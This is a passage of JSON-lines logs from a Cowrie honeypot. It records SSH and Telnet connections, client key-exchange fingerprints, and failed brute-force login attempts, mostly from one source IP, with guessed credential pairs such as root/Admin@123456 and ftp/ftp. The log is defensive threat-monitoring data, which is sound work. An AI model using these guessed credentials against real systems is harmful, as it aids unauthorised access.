aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:35.214955Z","src_ip":"103.75.199.4","session":"332ff638066c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:35.501813Z","src_ip":"103.75.199.4","session":"332ff638066c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:36.601405Z","src_ip":"103.75.199.4","session":"332ff638066c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40104,"dst_ip":"159.203.135.109","dst_port":22,"session":"11fe9efd3c9c","protocol":"ssh","message":"New connection: 103.75.199.4:40104 (159.203.135.109:22) [session: 11fe9efd3c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:57.021836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:57.026440Z","src_ip":"103.75.199.4","session":"11fe9efd3c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:57.117825Z","src_ip":"103.75.199.4","session":"11fe9efd3c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:57.390904Z","src_ip":"103.75.199.4","session":"11fe9efd3c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:58.485112Z","src_ip":"103.75.199.4","session":"11fe9efd3c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":13857,"dst_ip":"159.203.135.109","dst_port":23,"session":"1587f93a8012","protocol":"telnet","message":"New connection: 102.67.221.40:13857 (159.203.135.109:23) [session: 1587f93a8012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:14.632054Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":14176,"dst_ip":"159.203.135.109","dst_port":23,"session":"100f61a21e5d","protocol":"telnet","message":"New connection: 102.67.221.40:14176 (159.203.135.109:23) [session: 100f61a21e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:18.123623Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33308,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0dc23a5c544","protocol":"ssh","message":"New connection: 103.75.199.4:33308 (159.203.135.109:22) [session: a0dc23a5c544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:18.964687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:18.969314Z","src_ip":"103.75.199.4","session":"a0dc23a5c544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:19.068214Z","src_ip":"103.75.199.4","session":"a0dc23a5c544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:19.357135Z","src_ip":"103.75.199.4","session":"a0dc23a5c544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:20.455458Z","src_ip":"103.75.199.4","session":"a0dc23a5c544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":12900,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d388f6d1268","protocol":"ssh","message":"New connection: 194.59.206.2:12900 (10.17.0.5:22) [session: 9d388f6d1268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:24.574537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:24.578979Z","src_ip":"194.59.206.2","session":"9d388f6d1268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:24.664825Z","src_ip":"194.59.206.2","session":"9d388f6d1268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:24.754589Z","src_ip":"194.59.206.2","session":"9d388f6d1268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45160,"dst_ip":"159.203.135.109","dst_port":22,"session":"226915598cde","protocol":"ssh","message":"New connection: 103.75.199.4:45160 (159.203.135.109:22) [session: 226915598cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:40.933543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:40.937887Z","src_ip":"103.75.199.4","session":"226915598cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:41.036388Z","src_ip":"103.75.199.4","session":"226915598cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:41.321905Z","src_ip":"103.75.199.4","session":"226915598cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:13:42.421180Z","src_ip":"103.75.199.4","session":"226915598cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53864,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0b54741ede","protocol":"ssh","message":"New connection: 103.75.199.4:53864 (159.203.135.109:22) [session: 8d0b54741ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:02.777457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:02.782558Z","src_ip":"103.75.199.4","session":"8d0b54741ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:02.889465Z","src_ip":"103.75.199.4","session":"8d0b54741ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:03.179606Z","src_ip":"103.75.199.4","session":"8d0b54741ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:04.278137Z","src_ip":"103.75.199.4","session":"8d0b54741ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44286,"dst_ip":"159.203.135.109","dst_port":22,"session":"6acdc7eedd15","protocol":"ssh","message":"New connection: 103.75.199.4:44286 (159.203.135.109:22) [session: 6acdc7eedd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:24.676203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:24.680909Z","src_ip":"103.75.199.4","session":"6acdc7eedd15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:24.777269Z","src_ip":"103.75.199.4","session":"6acdc7eedd15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:25.054116Z","src_ip":"103.75.199.4","session":"6acdc7eedd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:26.148959Z","src_ip":"103.75.199.4","session":"6acdc7eedd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34504,"dst_ip":"159.203.135.109","dst_port":22,"session":"046de60533ad","protocol":"ssh","message":"New connection: 103.75.199.4:34504 (159.203.135.109:22) [session: 046de60533ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:46.603421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:46.608404Z","src_ip":"103.75.199.4","session":"046de60533ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:46.699813Z","src_ip":"103.75.199.4","session":"046de60533ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:46.973811Z","src_ip":"103.75.199.4","session":"046de60533ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:14:48.066938Z","src_ip":"103.75.199.4","session":"046de60533ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57356,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c76003f095e","protocol":"ssh","message":"New connection: 103.75.199.4:57356 (159.203.135.109:22) [session: 8c76003f095e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:08.539345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:08.548456Z","src_ip":"103.75.199.4","session":"8c76003f095e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:08.640231Z","src_ip":"103.75.199.4","session":"8c76003f095e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:08.914353Z","src_ip":"103.75.199.4","session":"8c76003f095e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:15:10.009085Z","src_ip":"103.75.199.4","session":"8c76003f095e","protocol":"ssh"}
